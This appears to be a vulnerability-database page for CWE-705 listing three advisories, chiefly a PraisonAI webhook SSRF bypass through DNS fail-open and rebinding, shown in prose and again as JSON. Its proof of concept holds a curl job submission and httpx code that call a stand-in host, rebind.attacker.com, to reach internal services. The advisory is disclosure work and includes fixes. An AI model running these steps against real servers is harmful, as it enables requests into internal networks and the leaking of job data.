Common Weakness Enumeration

CWE-705

Allowed-with-Review

Incorrect Control Flow Scoping

Abstraction: Class · Status: Incomplete

The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.

13 vulnerabilities reference this CWE, most recent first.

GHSA-RG5Q-PP8P-F7JM

Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59
VLAI
Summary
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
Details

Summary

praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook URLs by resolving the hostname and checking whether the IP is private. When DNS resolution fails (socket.gaierror), the validator silently passes the URL via except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time, the webhook is fired much later by JobExecutor._send_webhook(), which calls httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS lookup at execution time. Together, these flaws create a TOCTOU SSRF window.

An attacker can: 1. Submit a job with webhook_url pointing to a hostname that currently does not resolve (NXDOMAIN) → validation passes (gaierrorpass) 2. Update DNS to point that hostname to 127.0.0.1 or another private IP 3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent to the internal IP

Details

Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):

@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
    ...
    try:
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            raise ValueError("Webhook URL resolves to private network address")
    except socket.gaierror:
        pass    # <-- FAIL-OPEN: DNS failure allows the URL without restriction
    return v

When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout, network error during validation), execution flows to pass and the URL is accepted.

Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):

async def _send_webhook(self, job: Job):
    async with httpx.AsyncClient(timeout=30.0) as client:
        response = await client.post(
            job.webhook_url,      # <-- fresh DNS resolution here, not cached from validation
            json=payload,
            ...
        )

httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time, completely independent of the validation-time resolution. The gap between submission and execution can be minutes to hours (depending on job queue depth and timeout settings).

Combined TOCTOU window:

T=0   Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
      Validation:  socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
      Result:      except socket.gaierror: pass  → ACCEPTED

T=5   Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)

T=60  Job completes. _send_webhook() fires:
      httpx.post("http://rebind.attacker.com/cb")
      DNS: rebind.attacker.com → 127.0.0.1
      POST reaches 127.0.0.1 → SSRF

Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL validation at all" on the webhook_url parameter, patched in v4.5.126 by adding validate_webhook_url() to jobs/models.py. This finding targets the validation code itself — the except socket.gaierror: pass fail-open introduced in that patch. CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.

PoC

Requirements: A domain you control with configurable DNS TTL, access to the jobs API

Step 1 — Confirm fail-open behaviour (local code verification):

from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket

# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
    req = JobSubmitRequest(
        prompt="hello",
        webhook_url="http://rebind.attacker.com/callback"
    )
    # No exception raised — URL accepted despite NXDOMAIN
    print("Webhook accepted:", req.webhook_url)

Expected: Webhook accepted: http://rebind.attacker.com/callback

Step 2 — Confirm fresh DNS at execution time:

# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently

import httpx, asyncio

async def demo():
    # httpx resolves DNS here, not using any cached result from validation
    async with httpx.AsyncClient() as client:
        # This call resolves "rebind.attacker.com" fresh at runtime
        # If DNS changed since validation, it hits the new IP
        try:
            r = await client.post("http://rebind.attacker.com/callback", json={})
        except Exception as e:
            print(f"Connection: {e}")

asyncio.run(demo())

Step 3 — Full attack scenario:

# 1. Set up domain with short TTL, currently returning NXDOMAIN
#    rebind.attacker.com  →  (no record, TTL=60)

# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "prompt": "Calculate 2+2",
    "webhook_url": "http://rebind.attacker.com/callback"
  }'
# Response: {"job_id": "job_abc123", "status": "queued", ...}

# 3. After 5 seconds (before job finishes), add DNS record:
#    rebind.attacker.com  A  127.0.0.1  TTL=60

# 4. Wait for job to complete (seconds to minutes).
#    _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
#    POST request hits 127.0.0.1 (internal service)

# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}

Immediate variant (no DNS timing required):

If DNS resolution fails transiently (rate limit, network blip, temporary outage) during validation, the webhook is accepted unconditionally even for a URL that would normally resolve to a private IP. No attacker control over DNS timing is required — the attacker simply retries submission during moments when their DNS server is unreachable (e.g., their DNS server is down, causing gaierror).

Impact

What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.

Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to external or lower-trusted callers. This includes:

  • Multi-tenant deployments where workspace members submit jobs
  • API integrations (n8n, Zapier-style workflows) that provide webhook_url fields

Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint


---

## Remediation Suggestion (for maintainers)

**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**

```python
# VULNERABLE
except socket.gaierror:
    pass

# FIXED
except socket.gaierror:
    raise ValueError(
        "Webhook URL hostname could not be resolved. "
        "Ensure the hostname is valid and publicly reachable."
    )

Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):

async def _send_webhook(self, job: Job):
    if not job.webhook_url:
        return
    # Re-validate to prevent DNS rebinding
    try:
        from urllib.parse import urlparse
        import socket, ipaddress
        hostname = urlparse(job.webhook_url).hostname
        ip = socket.gethostbyname(hostname)
        if ipaddress.ip_address(ip).is_private:
            logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
            return
    except Exception as e:
        logger.warning(f"Webhook validation failed at execution: {e}")
        return
    # ... proceed with httpx.post
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-705",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T14:59:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n   resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n   to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n    ...\n    try:\n        ip = socket.gethostbyname(hostname)\n        ip_obj = ipaddress.ip_address(ip)\n        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n            raise ValueError(\"Webhook URL resolves to private network address\")\n    except socket.gaierror:\n        pass    # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n    return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    async with httpx.AsyncClient(timeout=30.0) as client:\n        response = await client.post(\n            job.webhook_url,      # \u003c-- fresh DNS resolution here, not cached from validation\n            json=payload,\n            ...\n        )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0   Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n      Validation:  socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n      Result:      except socket.gaierror: pass  \u2192 ACCEPTED\n\nT=5   Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60  Job completes. _send_webhook() fires:\n      httpx.post(\"http://rebind.attacker.com/cb\")\n      DNS: rebind.attacker.com \u2192 127.0.0.1\n      POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n    req = JobSubmitRequest(\n        prompt=\"hello\",\n        webhook_url=\"http://rebind.attacker.com/callback\"\n    )\n    # No exception raised \u2014 URL accepted despite NXDOMAIN\n    print(\"Webhook accepted:\", req.webhook_url)\n```\n\nExpected: `Webhook accepted: http://rebind.attacker.com/callback`\n\n**Step 2 \u2014 Confirm fresh DNS at execution time:**\n\n```python\n# From jobs/executor.py _send_webhook():\n# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)\n# Standard httpx behaviour: each .post() resolves DNS independently\n\nimport httpx, asyncio\n\nasync def demo():\n    # httpx resolves DNS here, not using any cached result from validation\n    async with httpx.AsyncClient() as client:\n        # This call resolves \"rebind.attacker.com\" fresh at runtime\n        # If DNS changed since validation, it hits the new IP\n        try:\n            r = await client.post(\"http://rebind.attacker.com/callback\", json={})\n        except Exception as e:\n            print(f\"Connection: {e}\")\n\nasyncio.run(demo())\n```\n\n**Step 3 \u2014 Full attack scenario:**\n\n```bash\n# 1. Set up domain with short TTL, currently returning NXDOMAIN\n#    rebind.attacker.com  \u2192  (no record, TTL=60)\n\n# 2. Submit job via API\ncurl -X POST http://praisonai-server:8000/jobs \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"prompt\": \"Calculate 2+2\",\n    \"webhook_url\": \"http://rebind.attacker.com/callback\"\n  }\u0027\n# Response: {\"job_id\": \"job_abc123\", \"status\": \"queued\", ...}\n\n# 3. After 5 seconds (before job finishes), add DNS record:\n#    rebind.attacker.com  A  127.0.0.1  TTL=60\n\n# 4. Wait for job to complete (seconds to minutes).\n#    _send_webhook() fires and resolves rebind.attacker.com \u2192 127.0.0.1\n#    POST request hits 127.0.0.1 (internal service)\n\n# If 127.0.0.1:80 is running a service, it receives:\n# POST /callback HTTP/1.1\n# Content-Type: application/json\n# {\"job_id\": \"job_abc123\", \"status\": \"succeeded\", \"result\": \"4\", ...}\n```\n\n**Immediate variant (no DNS timing required):**\n\nIf DNS resolution fails transiently (rate limit, network blip, temporary outage)\nduring validation, the webhook is accepted unconditionally even for a URL that would\nnormally resolve to a private IP. No attacker control over DNS timing is required \u2014\nthe attacker simply retries submission during moments when their DNS server is unreachable\n(e.g., their DNS server is down, causing `gaierror`).\n\n### Impact\n\n**What kind of vulnerability:** Server-Side Request Forgery via TOCTOU DNS rebinding\nand validation fail-open.\n\n**Who is impacted:** Any deployment exposing the PraisonAI Jobs API (`POST /jobs`) to\nexternal or lower-trusted callers. This includes:\n\n- **Multi-tenant deployments** where workspace members submit jobs\n- **API integrations** (n8n, Zapier-style workflows) that provide `webhook_url` fields\n\n**Post-exploit capabilities:**\n- HTTP POST to any internal service with JSON payload (job result data)\n- If an internal service interprets the POST body as commands (Jenkins webhook,\n  Consul KV, etc.), this achieves code execution on internal infrastructure\n- Exfiltration of job results (which may include agent reasoning, data retrieved\n  during the task, discovered credentials) to an attacker-controlled endpoint\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\n**Fix 1 \u2014 Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**\n\n```python\n# VULNERABLE\nexcept socket.gaierror:\n    pass\n\n# FIXED\nexcept socket.gaierror:\n    raise ValueError(\n        \"Webhook URL hostname could not be resolved. \"\n        \"Ensure the hostname is valid and publicly reachable.\"\n    )\n```\n\n**Fix 2 \u2014 Re-validate at execution time (`jobs/executor.py` before `_send_webhook`):**\n\n```python\nasync def _send_webhook(self, job: Job):\n    if not job.webhook_url:\n        return\n    # Re-validate to prevent DNS rebinding\n    try:\n        from urllib.parse import urlparse\n        import socket, ipaddress\n        hostname = urlparse(job.webhook_url).hostname\n        ip = socket.gethostbyname(hostname)\n        if ipaddress.ip_address(ip).is_private:\n            logger.warning(f\"Webhook SSRF blocked at execution time: {job.webhook_url}\")\n            return\n    except Exception as e:\n        logger.warning(f\"Webhook validation failed at execution: {e}\")\n        return\n    # ... proceed with httpx.post\n```",
  "id": "GHSA-rg5q-pp8p-f7jm",
  "modified": "2026-08-25T14:59:44Z",
  "published": "2026-08-25T14:59:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rg5q-pp8p-f7jm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` \u2014 bypass of CVE-2026-40114"
}

GHSA-VPQ2-C234-7XJ6

Vulnerability from github – Published: 2026-03-03 06:31 – Updated: 2026-05-21 16:55
VLAI
Summary
@tootallnate/once vulnerable to Incorrect Control Flow Scoping
Details

Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tootallnate/once"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tootallnate/once"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-705"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-04T20:15:03Z",
    "nvd_published_at": "2026-03-03T05:17:25Z",
    "severity": "LOW"
  },
  "details": "Versions of the package @tootallnate/once before 3.0.1 are vulnerable to Incorrect Control Flow Scoping in promise resolving when AbortSignal option is used. The Promise remains in a permanently pending state after the signal is aborted, causing any await or .then() usage to hang indefinitely. This can cause a control-flow leak that can lead to stalled requests, blocked workers, or degraded application availability.",
  "id": "GHSA-vpq2-c234-7xj6",
  "modified": "2026-05-21T16:55:49Z",
  "published": "2026-03-03T06:31:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TooTallNate/once/issues/8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TooTallNate/once/commit/b9f43cc5259bee2952d91ad3cdbd201a82df448a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/TooTallNate/once"
    },
    {
      "type": "WEB",
      "url": "https://github.com/TooTallNate/once/releases/tag/v2.0.1"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-TOOTALLNATEONCE-15250612"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@tootallnate/once vulnerable to Incorrect Control Flow Scoping"
}

GHSA-W5VR-8V7Q-W6RV

Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details

baseline-browser-mapping 2.x before 2.11.0 calls process.exit() instead of throwing on invalid or conflicting input parameters, and can trigger immediate process termination, causing denial of service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-45819"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-705"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T12:17:23Z",
    "severity": "MODERATE"
  },
  "details": "baseline-browser-mapping 2.x before 2.11.0 calls process.exit() instead of throwing on invalid or conflicting input parameters, and can trigger immediate process termination, causing denial of service.",
  "id": "GHSA-w5vr-8v7q-w6rv",
  "modified": "2026-08-13T12:31:09Z",
  "published": "2026-08-13T12:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-platform-dx/baseline-browser-mapping/pull/137/changes#diff-7ae45ad102eab3b6d7e7896acd08c427a9b25b346470d7bc6507b6481575d519"
    },
    {
      "type": "WEB",
      "url": "https://github.com/web-platform-dx/baseline-browser-mapping/blob/b7881aa61c8a057e24468ab5ee18c5ecedbbf691/src/index.ts#L142"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/baseline-browser-mapping"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.